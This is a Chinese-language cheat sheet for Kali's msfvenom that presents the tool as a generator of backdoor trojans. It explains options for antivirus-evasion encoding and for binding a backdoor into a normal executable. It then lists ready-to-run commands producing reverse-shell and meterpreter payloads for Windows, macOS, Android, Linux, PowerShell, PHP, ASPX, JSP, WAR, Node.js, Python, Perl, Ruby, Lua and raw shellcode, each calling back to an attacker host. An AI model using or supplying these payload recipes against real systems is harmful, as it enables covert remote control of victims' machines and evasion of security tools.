Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成後門木馬
msfpayload是MSF攻擊荷載生成器,用于生成shellcode和可執行代碼。
msfencode是MSF編碼器。
一 、msfvenom 常用參數
-l 列出指定子產品的所有可用資源,子產品類型包括: payloads, encoders, nops, all
-p 指定需要使用的payload(攻擊荷載)。
-f 指定輸出格式
Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;
Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;
-e 指定需要使用的encoder(編碼器)編碼免殺。
-a 指定payload的目标架構
選擇架構平台:x86 | x64 | x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
-o 儲存payload檔案輸出。
-b 設定規避字元集,比如: '\x00\xff'避免使用的字元
-n 為payload預先指定一個NOP滑動長度
-s 設定有效攻擊荷載的最大長度生成payload的最大長度,就是檔案大小。
-i 指定payload的編碼次數
-c 指定一個附加的win32 shellcode檔案
-x 指定一個自定義的可執行檔案作為模闆
例如:原先有個正常檔案normal.exe 可以通過這個選項把後門捆綁到這個程式上面。
-k 保護模闆程式的動作,注入的payload作為一個新的程序運作
例如:原先有個正常檔案normal.exe 可以通過這個選項把後門捆綁到這個程式上面。
-v 指定一個自定義的變量,以确定輸出格式
二、各平台生成payload指令
Windows
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe
---
Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho
---
Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk
---
Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
---
Linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf
---
php
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php
---
aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx
---
JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp
---
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war
---
nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js
---
python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py
---
perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl
---
ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb
---
lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua
---
windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
---
linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
---
mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
---